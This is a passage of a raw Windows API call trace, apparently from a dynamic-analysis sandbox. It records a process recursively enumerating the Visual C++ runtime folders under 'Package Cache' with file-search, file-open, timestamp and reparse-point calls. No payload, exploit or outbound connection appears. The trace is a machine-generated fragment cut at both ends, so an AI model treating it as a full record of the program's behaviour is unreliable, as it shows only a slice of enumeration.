lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.690] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.690] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.690] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.691] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.692] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.692] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.692] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.693] NtClose (Handle=0x15c) returned 0x0 [0092.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.694] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.694] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.694] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 1 [0092.694] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 0 [0092.695] GetLastError () returned 0x12 [0092.695] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0092.695] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.695] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.695] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 1 [0092.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.696] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.697] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.697] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.697] NtClose (Handle=0x15c) returned 0x0 [0092.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.699] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.699] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.699] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aae6600, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x8aae6600, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x8aae6600, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9298 [0092.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136fd20 [0092.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.702] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 1 [0092.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f92b8 [0092.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1254c78 [0092.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9ec0) returned 0x132a698 [0092.704] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 0 [0092.704] GetLastError () returned 0x12 [0092.704] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.705] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.705] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.705] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aae6600, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x8aae6600, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x8aae6600, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.705] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 1 [0092.705] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 0 [0092.705] GetLastError () returned 0x12 [0092.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.705] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.706] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 0 [0092.706] GetLastError () returned 0x12 [0092.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.706] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.707] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.707] GetLastError () returned 0x12 [0092.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.707] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.707] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="")) returned 1 [0092.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.708] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.708] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.709] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.709] NtClose (Handle=0x174) returned 0x0 [0092.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.710] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.710] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.711] GetLastError () returned 0x12 [0092.711] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.711] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.711] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.711] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, 